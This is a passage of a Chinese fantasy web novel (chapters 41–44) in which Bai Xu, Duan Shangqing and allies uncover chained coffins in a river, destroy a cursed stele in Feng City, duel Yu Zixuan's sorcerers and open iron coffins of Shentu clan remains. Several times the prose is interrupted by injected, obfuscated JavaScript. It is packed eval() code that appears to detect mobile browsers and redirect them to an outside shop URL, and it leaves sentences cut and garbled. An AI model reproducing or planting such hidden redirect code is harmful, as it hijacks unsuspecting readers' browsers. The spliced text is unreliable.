白栩偷瞟段尚清,段尚清也偷偷看他,两人红着耳尖,悄悄勾住指头。 说话间,翎徕从水中冒出头来:“水底下有棺材。” 白栩几乎要对“棺材”和“纸人”免疫了,走哪儿都能碰到,见翎徕似乎很在意,便问:“要我们一起打捞出来么?” 翎徕点点头,面色凝重:“不好弄。” 白栩拉住段尚清的手:“我们俩下去看看。” 两人一起跳下剑,率先潜入江底,冰冷的水漫过头顶,寒气侵入骨髓。 深蓝色的水波中,数口由黑锁链绑在一起的棺材悬在水中央,明明无所依凭,却能不坠江底,大概是秘术所致。 白栩憋着气,游过去扯扯锁链,才一碰到,手却像被烫到似的,钻心的疼,他反射地缩回手,一把拽住段尚清的胳膊,冲他摇摇头。 两人相携浮出水面,白栩大喘口气,道:“数不清的棺材,都用黑铁链锁在一起,像是被施了咒法,那铁链碰不得。” 白栩展开手掌给众人看,伤口呈无序撕裂状,像是炸伤,范围不过半个掌心大小,血却流了不少,滴滴溅落在江面上。 段尚清蹙着眉给他包扎,才哄好的人这下又自责地生闷气了,白栩照样逗逗他鼓起的脸颊,被一双低垂的含泪琥珀眼给看酥了半截身子。 他拉着段尚清游到一旁,背着众人,把他拉下来亲了亲:“是我自己碰到了,要怪也怪我,别蹙着眉头了,好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“莫非此处本是个山谷?”白栩环望一圈,抬手摸摸崖壁,“那当初居于风城的那一支络玥族是怎么迁徙过来的?蛊虫还有能带人腾云驾雾的神功不成?” 翎徕果断道:“没有。” 花千续拍拍白栩的肩:“我看这山是被生生劈开的,倒是很像你爷爷的手笔。” “定山诀?”白栩先是一懵,而后想到这一行里有个人会这招数,便大声招呼,“姐——” 白珏正和姚靖在一旁晾衣服,闻言走到他们身边:“怎么了?” “定山诀能劈开这样一座山么?” 白珏眼角抽了抽,无奈一笑,手指在沿着断崖上绕了个圈:“这峡谷前后都不见头,你姐我得再练个十年八年才能做到。” “那如果是爷爷呢?” 白珏的笑僵在脸上:“确实可能,你们认为——” “不错,我们怀疑上三家三十年多前便来过此地,甚至为了不让中原人再去侵扰西域百族,将此山一剑劈开,以做天堑。”花千续看向白珏,“我毕竟不是江南玄门的人,师父从未与我说过上三家的往事,白姑娘,你爹可曾与你说过他们到过居庸关或是敖北山?” “不曾。”白珏叹了口气,“爹从不与我多说,他觉得老一辈的事不必牵扯到孩子身上,只让我知道该知道的,我只比小栩多知道一点,当年真相如何,一概不曾听闻。” 花千续亦是无奈:“你爹也是好心,谁承想能半路杀出个虞惑呢?他以为这一切至少能终结在他们那一代,不曾想还是殃及了你们。” 段尚清一旁听着,忽地道:“这一路人多事杂,倒是忘记问了,你们可知杀进风城的那一伙贼人是谁?” “申屠族。”白珏脱口而出,“怎么想起问这个?” 段尚清看了眼白栩,接着道:“我与阿栩曾见到过申屠族人的尸体,是在江州若寒城绛鹊山镇邪庙内的金佛底下,若是上三家曾来此剿匪,申屠族的尸体又怎会出现在江州?” 42. 笼中之雀 见众人默然不语,白栩便先说自己的想法:“也许是申屠族分为两批,一批在此地大开杀戒,一批仍留守江州,如果申屠族人在风城被剿杀殆尽,长生簿又是如何被带回江州的?佐伯伯曾说申屠家主申屠鸿从西域带回来了一个女人,那女人就是虞惑的母亲,既然他能从西域回来,是不是说明当年爷爷他们三家联手都没能杀死申屠鸿,直到他们因为修炼长生邪术而走火入魔,上三家才能置他们于死地。” 花千续觉得在理:“如此便能解释师父为何劈山,若是以杀止杀也无可阻止,便劈开山,用天堑相隔,起码能护住另一支。” 白栩感慨爷爷的大义,段尚清却道出忧虑:“我与阿栩触碰女尸棺的陷阱,掉下了积尸洞穴,我们在那里发现了一处祭坛,其上用锁链吊着一具身穿铠甲、体内藏有蛊虫的枯骨,我以为此人应是申屠鸿。我们之所以能依靠双生阵逃出来,是因为我看见地上阵法的凹槽里有血痂,我怀疑那个凹槽是虞惑划出来,血也是虞惑淋上去的。” 白栩蹙起眉:“可这说不通,虞惑为什么会掉进金佛下面?我们——”他的话戛然而止,因为他回忆起来,金佛下有一口石棺,棺材里的女尸,可能正是虞惑的母亲。 他怔楞地看向段尚清,段尚清提醒他:“别忘了,那口棺材在我们下去前,便已经被砸出了个窟窿,她的死相也与佐伯伯说的对得上,被蛊虫破腹而出。” 他俩的对话把众人听得云里雾里,段尚清对众人从头至尾解释了一遍,翎徕听罢,忽地道:“申屠鸿死在那蛊虫手里,长生术只要吃人血肉心肝便能一直活下去,蛊虫不一样,得用长生仙的血养着。” “长生仙?”白栩觉得这词有些耳熟,总觉得在哪里听过,但就是想不起来,“此为何物?” 翎徕拍拍自己背着的竹篓:“正是我抓的这只蛊虫。” 白栩实在不解:“既是蛊虫,它哪儿来的血?” “是种蛊人的血。”翎徕解释,“我爹娘说,络玥族最毒的蛊虫名叫‘长生仙’,只能由族长的儿子种下,自此,此人的吃食便只剩下婴儿羹,即用未足月的胎儿混合草药捣成的人肉羹。族长儿子的血里掺上了长生仙的毒,络玥族人每年都需要喝下他的血来攻体内的蛊虫的毒。” 白珏问道:“若是不喝,当是如何?” 翎徕叹息着摇摇头:“若有其他法子维持,能活十八年,若是全然不顾,一年必死。” 既然这蛊虫这么危险,这么折磨人,络玥族人为什么还要给自己身体里种下这么可怕的蛊? 白栩百思不得其解,他看着翎徕,问出疑惑:“你们不能停下不种蛊虫么?为什么要世世代代遭这个罪?” 翎徕自嘲地嗤笑一声,那张一向没什么表情的脸上难得露出痛苦的神色:“这蛊虫的毒能渗透进母亲胎盘里,婴儿自出生起就带着毒,如果不用蛊虫的毒麻痹,便活不过满月,有的蛊虫甚至能从母亲体内爬到婴儿的身体里……这些蛊虫代代相传,人一旦与蛊虫脱离,只有死路一条。百年前西域各族混战,我族先祖为了能活下去,只能借用蛊虫的力量,可惜蛊毒一旦沾染,世世代代便再也无法逃离它的控制。” 骇然过后,更觉同情,白栩不知该如何安慰,这种根深蒂固的痛苦,一两句轻飘飘的话根本无法消解。 花千续一把攥住翎徕的手腕,变了脸色:“你的蛊毒,该怎么解?” 翎徕避而不谈,只含糊道:“爹娘教了我法子。” 花千续步步紧逼:“这法子,只能保你活到十八岁,对么?” 翎徕不回话,别开了头。 花千续第一次在众人面前动怒,他那双黑白分明的眼睛本就骇人,如今阴沉沉的,更觉鬼气森森,他厉声质问:“你先前为何不与我说?” 翎徕甩开他的手,语气加重,甚至有些苛责:“说了又有什么用,长生仙的血早就不知道去哪里能寻到,我同你说了,又能改变什么?” 花千续一口伶牙俐齿难得如鲠在喉,他盯着翎徕挺直的臂膀,片刻后低下头,什么也没说,拂袖而去。 白栩心道不好,推了一把姚靖,要他去看看翎徕,他自己则一把拉住花千续:“如果我们能找到络玥族的另一支,不就能救他了?” 花千续顿住脚步,攥紧的手腕微有些颤抖:“白公子,那一支早就没了踪迹,如何寻到?我猜他来找长生仙的蛊虫,是想用它的毒攻自己体内的毒……难道我要眼睁睁看着他变成只能吃婴儿血肉的怪物么?” 白栩仍是坚持:“不试试又怎么知道行不通?说不准江底那黑棺便是线索,我和尚清已然有了想法,只待今晚一试,说起来,还需你的帮助。” “我?”花千续一愣,“你们要做什么?” 白栩道出自己的猜想:“你可还记得我被鬼遮眼时见到的那些被锁链折磨的冤魂?我先前怀疑那是络玥族人的魂,如今想来,也许是申屠族人的魂?” 花千续顺着他说:“江底的棺材里,也许也是申屠族人的尸体,这般铁索锁魂的邪法,绝不是中原的道法玄术,你是想说,这可能是络玥族人的报复?” 白栩点头:“那一支也许先是望风而逃,直到爷爷他们杀到风城,络玥族人见有人撑腰,便出来里应外合,一起剿杀申屠族人,而后爷爷斩断敖北山,络玥族人制造妖风城,都是为了封住中原再次打入西域的路。” 花千续被说动:“你们想怎么做?” 白栩靠近一步,在花千续耳边轻声道:“今夜我和尚清去风城看看,先去探查虞子烜如何带着大队人马平安度过风城,其次我得再被鬼遮眼一次,看清风城天上的锁链究竟连在哪里。” 花千续面色一凛,当即否决:“不行,你们两个势单力薄,恐怕有危险。” 白栩知他心忧,但人少有人少的好处,人一多,反而容易暴露,他拍拍花千续的肩:“不怕,尚清的道罡咒用得炉火纯青,我们悄悄进去。” 花千续看他去意已决,叹了口气,嘱咐道:“万事小心。” “嗯,不必担心。” 花千续朝身后看了一眼,转过头又道:“有一事,我方才便在想,虞惑既然是络玥族的后人,体内就算没有蛊虫,也得染上蛊毒,他是怎么活了这么多年的?” 话锋转得太快,白栩被他说的一愣,但很快接上了话:“他身体里应该没有蛊虫,他妈妈生下他不久,体内的蛊虫就破体而出,虞惑身体里应该只有蛊毒,或许是他妈妈在临死前告诉了我爷爷那个能暂时压制毒素的法子该怎么做,但这也只能够他活十八年,他如今可是三十有余了。” “除非他养了一个长生仙。”花千续沉沉的目光看过来,“养了一个只能吃婴儿的怪物给他供血,至于那蛊虫如何得来……想必司天监内早已有人知晓另一支络玥族的下落,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365496|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到敖北山,就得过风城,如今虞子煊能带着这么多人马自由出入,想来早就知晓了如何抵挡妖风的威力。” 说及此,花千续眉头皱得更紧,他看向白栩,眸中写满疑惑:“可他们为什么不追着我们下来?” 虞子煊带来的人马里必然有能腾云驾雾之辈,若要赶尽杀绝,为何不追杀下来?此地再是凶险,横竖不过一条大江,会点道法便能御剑,百丈悬崖,不过一个来回的事。 “的确……”白栩的声音有些发颤,他总觉得花千续可能有另一种解法,更阴暗、血腥、令人发指。 正如他所料,花千续的声音阴恻恻的声音传来:“所以我猜想,江下的棺材里可能是另一支络玥族的尸体,而他们的魂正是在风城内作威作福的妖风。” 这个推论全然颠覆了白栩的想法,他浑身一凛,一阵恶寒自心底升起,剐得头皮发麻。 若风城内的“妖风”是司天监的手笔,他们自然能出入自如,至于为什么要将络玥族斩草除根,只怕是虞惑为了维护自己“长生”的名号,不能让蛊虫、婴儿羹、吃人心肝血肉这等伤天害理之事传到世人耳中,尤其是不能传到皇帝耳朵里。 老皇帝就算追求长生,也绝不会想把自己变成一个不人不鬼的怪物。 顺着花千续的思路竟然越想越顺,白栩一瞬有些茫然,他抬眼看向花千续,嗫嚅地问道:“那……我们还往西走么?” 花千续不置可否,眼里闪过一丝狠厉:“为今之计,逃不是上策,依我看,得挑唆太子与祁王内斗,必须让太子杀了皇帝和祁王,废了司天监,玄门才有活路。” “司天监当真能和天下百余玄门作对吗?”尽管被虞子煊追杀到这般境地,白栩还是不相信司天监能有这么大的本事,“他们凭什么这么猖狂?” 花千续抬眼望向崖顶,声音低沉:“白栩,接下来的话都是我的臆测,信与不信在你,我怀疑,申屠鸿根本没死,至少他的魂还在。当年的真相可能是你爷爷先带了一批玄门到居庸关外剿匪,但未能敌过,让申屠族流窜回江州,不久,申屠族人因修炼长生术走火入魔,大肆杀戮百姓,你爷爷只得联手段家和佐家一起清剿,这才将他们镇压在绛鹊山下,为了防止怨灵作祟,修了镇邪庙,请了诸天神佛镇压。带你们进鬼门的双生阵法,凹槽里本就有血,你们猜是虞惑的,我想也应该是,吸引虞惑去镇邪庙的,也许是他母亲的尸体,他同你们一样搬动了尸体,结果掉到了申屠鸿的祭坛边,那时应是离申屠鸿被杀不到十八年,他体内的蛊虫还没死,魂也应该还在,虞惑根据申屠鸿的指引,在地上刻了双生阵,同申屠鸿一起从黄泉地狱里爬出来。” 白栩跟上他的思路:“所以,你认为上三家联手才能剿杀的申屠鸿,是司天监最大的筹码?” “不错。”越是猜的清晰,花千续越是心寒,“如今的江南玄门,大大不如三十年前,最直观的就是你家,你和你爹都没能继承你爷爷的玄术道法,偌大的白家,只能靠你娘和你姐姐撑着,段家亦是,道罡八咒威力无穷,但能学尽八咒的人已不多,像段尚清这般精通其中五咒的孩子已属难得,如今尚能维持昔日荣光的只剩佐家,但佐家光是护住衡阳已耗尽心力,你说若是申屠鸿卷土重来,谁能抵挡?” 白栩说不出一句话。 他本觉天地敞亮,如今才知,自己早已身在樊笼,成了那笼中之雀、井底之蛙。 43. 高手斗法 不论自己与花千续谁的猜想更接近真相,唯一能揭开谜底的,只有风城里的游魂与沉棺内的尸体。 花千续实在不放心白栩与段尚清二人前往,不论如何也要跟着,白栩只得同意。 三人等到天黑,悄悄御剑飞至山上。 荒野地上悄无声息,白日围攻的人马悉数撤走,只留下大片杂乱的蹄印与数不清的断矢。 风城内依旧妖风呼号,看样子虞子煊并没让人在城内停留,毕竟他们再是人多势众,大多却是没有道术护体的士兵,极易被阴邪之气侵扰心智,最好的安营扎寨处,乃是居庸关内的客栈。 老虎不在山,给了三人可乘之机。 趁着夜色,他们奔至城门前。 花千续在白栩身后贴上护体符箓,施以封魂术,慢慢送他踏进城内。 段尚清本想陪白栩进去,却被花千续拦在外边:“凡胎□□受不住妖风的折磨,你若是封魂进去,没了神志,于白栩来说毫无用处,若你展开护体灵术强闯进去,反而会侵扰冤魂,害了白栩。” 段尚清知他道理,没再执拗,但眼看着白栩越走越远,心里不免着急:“他独身进去,若出了意外怎么办?” “我进去陪他。你在外面接应。”花千续从衣袖里拿出一只小陶罐,正是翎徕抓长生仙用的那只,“这蛊虫阴气重,应该能替我掩护生人气息,不被冤魂发现。” 段尚清嘱咐:“千万要护住他。” 花千续笑着敲敲段尚清的脑门:“知道了,会护住你那小心肝,对了,万一我们做出什么大动作惊扰了虞子煊那帮人,还得请你帮着我一起斗法。” 段尚清郑重点头,目送花千续踏进城门,直到那颀长的身影隐匿在沉沉夜幕,才收了视线。 白栩再睁眼,人已经到了停尸客栈。 他悄悄叫两人的名字,皆无人应声,正要推门往外看,手腕忽地被拉住,一回头,依旧空无一人。 “尚清?”白栩怯生生地唤了一声,纵使知道被鬼遮眼后看不见人,心里还是没个着落,谁知道来的究竟是人是鬼。 手掌被翻开,细细碎碎的痒拼凑成一个“花”字。 “花道长!” 有了依靠,白栩放了心,花千续在他手上接着写:我、跟、你、出、门。 “那你抓紧我。”白栩这么说着,自己却反手牢牢抓住花千续的手腕,用了好大力气,一丝一毫也不敢松懈。 他推开门,屋外景色一如当初所见,只不过有了夜色掩护,没有那么渗人,地上的血依旧浓稠,空气中依旧弥漫着浓重的血腥味,碎肉断骨落地之声阵阵袭来,铁锁相击之声不绝于耳。 “天上的铁链好像是朝着一个方向去的。” 白栩边解释所见何物,边拉着花千续小心翼翼地踏出门外,沿着墙根一步步向锁链纠缠之处摸索。 风城的夜晚没有月光,唯一能照明的,是锁链上若隐若现的金光,他们亦步亦趋,走了小半个时辰,终是停在了另一座城门前。 “道长,所有的锁链皆是由门口那石碑拴着。”白栩颇感意外,又觉合情合理,那石碑上刻着殄文,必然与阴间之物有所牵连,看来用其镇压魂鬼,乃是别有用心。 出、城、去。 花千续又在白栩手心写字。 白栩拉着他迈出城门,才迈出去一只脚,忽地迎面扑打来一阵清风,月光款款洒下,天地一片柔和。 手里拉着的也不再是透明的空气,出城门那一瞬,花千续的身形渐渐显露,先是与白栩牢牢紧握的手,再是半边身子,直到全身而出,同他一道立于石碑前。 此时的石碑与进城那日完全不同,那时它是妖风下的避风港,此时它通体漆黑,静默而立,宛若硕大妖兽,骇人无比。 其上阴刻的殄文隐隐闪着血红色的光,锁链自其顶端起,浩浩荡荡地牵动数百条恶鬼,血色滔天。 “把它砸了试试。”花千续抽出一张符纸,贴在其上,口中念念有词,不多时,一道晴天霹雳如白龙过境直打在石碑,仅在一击便将其拦腰截断。 黑色巨石轰然倒地,大地的轰鸣声传至千里。 一阵极冷的风从城内呼啸而出,眼见着,月光缓缓地蔓延至城内,仿若乌云散尽,拨云见月。 呼啸了几十年的妖风终于停下,风城迎来了久违的祥和,它终于得以朝向普罗大众敞开怀抱,任人踩踏砖石地面、修补屋上碎瓦、点起盏盏油灯、诞下新的生命。 花千续仰头看天:“他们都往江边飞过去了。” 这个“他们”应该是那些冤魂。 “我们追上去。” 白栩正要拔腿跑,花千续却笑出了声,白栩不解地看去,见花千续抽出腰间的佩剑,朝地上一掷,剑没落地,悬在一尺之空。 “妖风没了,你还要走着回去?”花千续把白栩扶上剑,“我们道士比较喜欢御剑。” 这便是凡人与修仙之人的差距,白栩怏怏不乐:“我还没养成你们这般习惯。” 花千续笑着应是:“段尚清在城那头候着,我带你回去,别让他等着急了。” 两人站上剑身,长剑嗡鸣一声,金光抖擞地直飞上天,白栩站在花千续身后,紧紧抱着人家的腰,夜风拂过脸庞,轻柔而微凉,他不禁回头望向苍茫大地,还没看清大好山河,忽地惊叫起来:“花道长!我看到会飞的绳子在我们身后!” 花千续猝然调转飞剑方向,直对着身后,果然,数条飞天游蛇般的绳索朝他们绞杀而来。 “果然还是惊动了。” 花千续声音沉稳,仿若早有料到,他一边御剑倒飞向段尚清所在之处,一边烧符做法,一阵咒声过,只听一声响遏行云的凤鸣自九天破空而下,火红金凤裹挟着烈焰直朝绳索飞掠而去,金红交织的焰气仿若一条赤红长练在天际铺陈开,奔着袭来之处烧杀过去。 火光照亮夜色,白栩看见居庸关外,虞子煊带着几人立在旷野上,远远地朝他们看来。 火凤燎到虞子煊跟前,他身后的几人扬手一甩,一条水龙凭空成形,急速膨胀至百丈长。 那些人把手朝前一指,硕大龙头张开狰狞巨口,一口便将火凤吞吃下去。 天地霎时昏暗,月光下,水龙波涛汹涌的长躯扭转着奔杀过来,天地仿若浸在惊涛骇浪之中,只余振聋发聩的龙吟惊天动地。 白栩吓得印堂发痛,眼皮不受控地上下黏住,心惊肉跳间,他忽觉腰上抱来一条结实的手臂,紧接着整个人在空中一个过渡,落在另一柄剑上。 熟悉的体温包裹住他,柔和的熏香顺着身前人脖颈处温热的肌肤传递过来,白栩睁开眼,一把抱住。 花千续并未给两人你侬我侬的机会,大声道:“段尚清,用引雷咒!” 白栩认识段尚清的撼天引雷咒,此咒生效需得脚下有水,水越多,雷咒威力越大。 正好谷底有一条不见底的长江。 段尚清不负众望,一道咒语念出,天已阴沉沉地压下厚重乌云,再念一句,云层间赫然劈下千重雷闪,万钧雷霆轰然乍响,刺目的电光将天地照成白昼。 水龙遭雷一劈,瞬间被打成无数水珠,花千续一道风符烧尽,召来漫天狂风直将碎龙扇回对面。 三人此时已退到敖北山边缘,与虞子煊遥遥相望。 对面施法的几人横列挡在虞子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虞子煊气得直咬牙,他听义父说过,敖北山被白青山一刀两断,嘱咐他离山谷远些,他先前见白栩一行人跌下去也无事,以为白青山只是将山劈开,没曾想竟是留了咒法,能斗过他徒弟的人,居然被这阵一击便死。 他拂袖而去,心里盘算着如何再杀过来——这阵法终归是人为,多叫几个道士前去送死,总有一天能坏了此阵。 这般想着,脚下步子加快了些。 他得尽快写信给义父,叫他多抓些道士来破阵! 另一头,白栩三人的身影凭空出现于敖北山另一侧,段尚清灵力空虚,再无力御剑,抱着白栩以自己垫背。径直往下坠。 花千续想抓住他们,却没能没来得及,好在白珏反应迅速,御剑飞天牢牢接住两人,送回他们回地面安置。 “如何?”她心焦如焚,用衣袖擦去白栩脸上的冷汗。 “虞子煊带来的人很厉害。”白栩扶着段尚清,将方才的斗法详细讲述,花千续乘剑落下,从衣袖里掏出个小瓷瓶,倒出一粒药丸喂给段尚清。 段尚清唇色发白,脸上血色尽失,只能轻声道谢,花千续摆摆手:“没你的遁地咒,我怕是斗不过他们。那几个妖道来历不凡,我单枪匹马恐斗不过,还得再想法子。” 姚靖帮着白栩扶着段尚清,闻言道:“他们不是死了么?被敖北山上的阵法削成肉糜了。” 花千续脸色一变:“怎么回事?” 姚靖如实道来,花千续听完先是一愣,而后仰天大笑:“不愧是师父,是我多虑了。” 白栩与段尚清对视一眼,一齐看向花千续。 花千续把手里一直攥着的陶罐扔给翎徕,拍掉手上的灰尘,朝白栩和白珏道:“先前我一直疑虑他们为何不敢过山来抓我们,原来是师父留了一手,他劈断敖北山之际,也留下了阵法,唯有同与他血脉相连之人一起,才能平安度过,我和翎徕连同段家二子都是沾了你二人的光,才能逃过一劫。” 白栩愈发敬佩起自己素未谋面的爷爷来。 “那我们眼下暂且安全了。”白珏松了口气,“今夜好好休息,明日我们把江底的棺材捞出来,看看是哪伙人的尸体。” 44. 后会有期 谷内冷气积沉,滔滔江水又离岸颇近,寒湿交杂,着实难以忍受。 姚靖从四周捡来许多干树杈,架成篝火堆,翎徕从他的竹篓里拿出常备的打火石,噼啪打几下,火星四溅,干枝被点燃,火光越冒越大,阵阵暖意迎面扑来。 白栩冻得手僵脚冷,凑近火堆,伸出手来烤火。 不多时,花千续与段尚清从江边回来,一人手里举着个尖树杈,上面穿着大小不一的鱼。 他二人方才说要去抓鱼烤来吃,不知用了什么法子,衣摆一点不湿,手里却是硕果颇丰。 段尚清穿回来的这些鱼已经被洗剥干净,刮了鳞片,掏了内脏,就连鱼鳃也细细地去了,直接上架烤便行。 花千续手里的鱼比起段尚清的多了不知多少条,但个个活蹦乱跳,扑打出一片腥水。 他把树杈递给翎徕,翎徕从自己的万能小竹篓里又摸出一把小刀,极麻利地杀起鱼来。 白栩实在好奇这家伙的竹篓里下一次能摸出来什么,仿佛有关野外宿营的必备之物应有尽有。 明天白天得找个机会,掀盖子去看看里面到底还有什么。 段尚清架好鱼串,坐回白栩身旁,白栩凑近问他:“你俩怎么抓的鱼?怎么身上一点没湿。” 段尚清想起方才的趣事,低低地笑了起来:“花道长本来要下水去抓,我嫌水冷,回来烤干衣服麻烦,提议引雷电鱼,花道长又嫌引雷声势浩大,弄不好还会招来雨水,便画了张符咒,烧尽了,将灰撒在江面上,只听一声小而沉闷的霹雳声响过,原本在水下游曳的鱼尽被电得肚皮翻白,我们只需用竹竿捞过来穿起即可。” 白栩听他形容,觉得十分有趣,禁不住地道:“你们下次去电鱼,也带我去。” “好,明日我陪你去。”段尚清笑意浅浅,白栩听他声调柔和,知他心情好,便侧低过头来看他的脸。 段尚清也回头来,两相凝望。 白栩笑靥嫣嫣,白皙的面庞在篝火光晕的映照下,仿若一块精心雕琢的美玉,莹白无暇。 段尚清心下一片悸动,琥珀色的眸子闪过慌乱的羞怯,眼波四下流转一圈,见众人各有各的忙事,无暇顾及他二人,这才壮着胆子,轻吻上那只撩拨人心神的眼。 干燥温暖的唇肉缱绻地蹭过温热而微微颤动的眼皮,若非众人在侧,他这一吻,会顺着白栩白皙的脸颊,落在那只透着淡淡红润的唇上。 白栩不躲也不推开他,仰着头由着他亲昵。 一天之内,尚清总要撒几回娇,若是不撒娇了,便是心里藏着事儿不肯说,多半是揽责后越想越难过的自责。 敏感又固执,坚强又脆弱,生得一副清清冷冷的皮囊,内里却是沸腾不已的灵魂,白栩无有一日不觉得段尚清这家伙越相处越有意思。 若是与他携手老去,日子定然百般生动,千般有趣。 这般思量着,他轻轻攥住段尚清余下的那只手。 段尚清偷得一个吻,心满意足,正红着脸翻烤着鱼,见白栩目光灼灼、笑意盈盈地看来,不禁又低头在那泛着桃红的耳尖上悄悄啄吻一下,耳语问道:“饿了?” 白栩并不算饿,却还是笑着点点头。 段尚清撤下来一只穿着鱼的树杈,用另一根削干净毛刺的尖木棍剔下来一小块烤熟的鱼肉,喂到白栩唇边:“尝尝。” 白栩张口吃下,鱼肉鲜嫩香甜,咀嚼间弥漫着淡淡的烟熏火燎的香气:“好吃,你也吃。” 段尚清也尝了一口:“味道淡了些,若有零星盐粒撒在上面,滋味会更丰富。” “要盐?有。”翎徕忽地出声,在他的竹篓里面翻了又翻,掏出两个装着粗盐颗粒的小罐子,“给你们一个。” 白栩实在按捺不住对翎徕这百宝箱的好奇了,他起身凑到翎徕身边:“你这竹篓里面,到底有多少东西?” 翎徕大大方方地掀开盖子给他看,并郑重地传授经验:“走南闯北,必备之物需得备齐。” 白栩扒着筐沿往里看,里头满满当当,却是有条不紊、摆放齐整,除了已经见识过的陶罐、铲子、调料罐、打火石、匕首,还有鱼钩、绳索、水壶、食器、草药以及……花千续的一套衣服。 “你怎么还帮花道长背行李?” 翎徕面色平静:“他花钱,我出力。” 他说着,朝上看去,花千续正举着烤鱼走近,听到翎徕的话,得意洋洋地拍拍自己腰侧挂着的鼓囊囊的荷包,嘚瑟地展示自己雄厚的财力。 白栩抬手一扯,打开一看,里面是密密麻麻的小碎块。 他以为是一袋碎银,定睛一看,竟然全都是小石子! 难道这家伙用石子变成的银子在若寒城混吃混喝不成? “好你个花千续!花假银买真东西!” 白栩将荷包气愤一扔,撸起袖子就要教训人,花千续却扬着笑,后撤几步躲开白栩毫无章法的攻势,手指一勾,荷包飘飘悠悠地回到他的手上,再敞开口袋给白栩看,里面已然是真金白银。 白栩捏起一块咬了一口,是软的,能留下清晰的牙印,他纳闷:“怪了,方才分明是石子。” “小小障眼法,你中我计了。”花千续重新将荷包挂回腰上,“我这银两这么多,若被抢劫了,劫匪一看是一袋石头,自然不会要,这钱不就又回到我的手上了?” “狡猾。”白栩撇嘴。 花千续晃晃手里烤好的鱼:“这叫聪明。” 一夜说说笑笑,相依而眠,次日天明,白珏叫醒众人,白栩迷迷糊糊地坐起来,被分配到下江捞棺材的差事。 江水阴寒,段尚清不舍得白栩受冻,执意要替白栩下水。 白珏松了口:“也罢,你去更稳妥些。小栩水性虽好,办事却不如你细心。” 白栩自然也是心疼自家小神仙,不想让他独揽苦差,段尚清无谓地笑笑,握住他的手宽慰道:“我有灵力护体,就算江水严寒,也不会伤身,别担心我,等下你和姚靖在岸上接沉棺。” 白栩摸摸段尚清的脸颊:“万事小心。” “嗯。”段尚清侧头蹭蹭白栩的掌心。 “二位,可否上岸了再卿卿我我?”花千续叉着腰站在河边,无奈地看着二人,他身后,白珏和翎徕已经将外衣脱掉,捆扎好衣摆,轻装上阵。 “你的外衫给我吧。”白栩替段尚清脱去,目送几人沉入水中。 日头渐渐悬高,平缓流淌的江面逐渐浮起一具黑色的棺材,紧接着是段尚清湿漉漉的发顶,不多时,那紧贴着浸湿内衫的胸膛也浮出水面,白栩涉进水中帮着往岸上拖,段尚清借着他的胳膊站起身,甩掉头上的水珠,鼻头被水冰得泛红。 黑棺为玄铁所造,白栩看段尚清单手往岸上推,以为没多重,自己上手,铆足了劲儿仍是纹丝未动,才知道这铁疙瘩奇重无比。 好不容易推到岸边上一具,白栩累得瘫在地上,用了力的肌肉全都酸胀发抖,他看向段尚清,喘着粗气问道:“底下还有多少?” “非常多。”段尚清脱掉内衫,拧着衣服上的水,“不过不用全搬上来,抬四五具上来,开棺看看里面的尸体是络玥族人还是申屠族人就行。” 说罢,他将拧干的衣服平铺在石面上晒太阳,光着上身接着下水去捞棺材。 段尚清下去没多久,白珏和翎徕就浮了上来,她二人合力送上来一具棺材,白栩已经没了力气,姚靖自己下水去帮忙——这家伙看着不大,力气却是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365498|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,虽不至于拖得轻巧,但远不及白栩那般吃力。 休息足了,白栩起身去研究怎么开棺。 沿着棺材面摸了一圈,完全不见棺盖合拢的缝隙,他恍然,这棺材本是浑然一体,恐怕是直接将尸体用铁水浇铸,裹成一体后分割成棺材大小。 这要如何打开?白栩犯了难。 正巧花千续带着新捞出来的棺材上了岸,白栩忙把他拽过来,问该如何开棺。 花千续研究了会儿,从翎徕的竹篓里掏出一沓黄纸,就着手上的水写了一道符,往棺材上一贴,再低声诵咒,只听“啪擦”一声,棺材自中央竖向开裂,一边一个实心铁块,里面蜷缩着混杂的尸体,明显不只是一个人的。 花千续蹙起眉头,转身走到其他棺材前贴符,碎裂声此起彼伏,断口处无一不是实心的,里头尽是混乱、碎裂的人骨,不成人形。 “这能是谁干的?”白栩喃喃自问,见花千续蹲在骨头边上挑挑拣拣,便凑过去,“你能分清这是谁的骨头么?” 花千续沉默了半晌才开口:“是申屠族的。” “这是怎么看出来的?” 花千续站起身,只留下了一句:“看骨头。”便转身向江边走去,他潜下去没多久,剩下的人都浮了上来,没再带着棺材。 段尚清攥干发尾,披上白栩递来的干燥外衫:“花道长忽然叫我们上来,你们发现什么了?” 白栩指了指地上的铁棺材:“他说棺材里面是申屠族的人,不是络玥族人。” 段尚清擦头的动作一顿:“所以,另一支络玥族人还有可能存活?” 说及此,他忽地道:“看来我们很快要和花千续道别了?” 白栩不解:“为什么这么说?” 段尚清压低声音:“另一支络玥族手里有长生仙,那是唯一能救翎徕命的东西,他不能不去找。” 白栩听出来他话里有话,转头看向那二人,花千续正帮着翎徕擦头发。 “难道花道长和我们一样?” 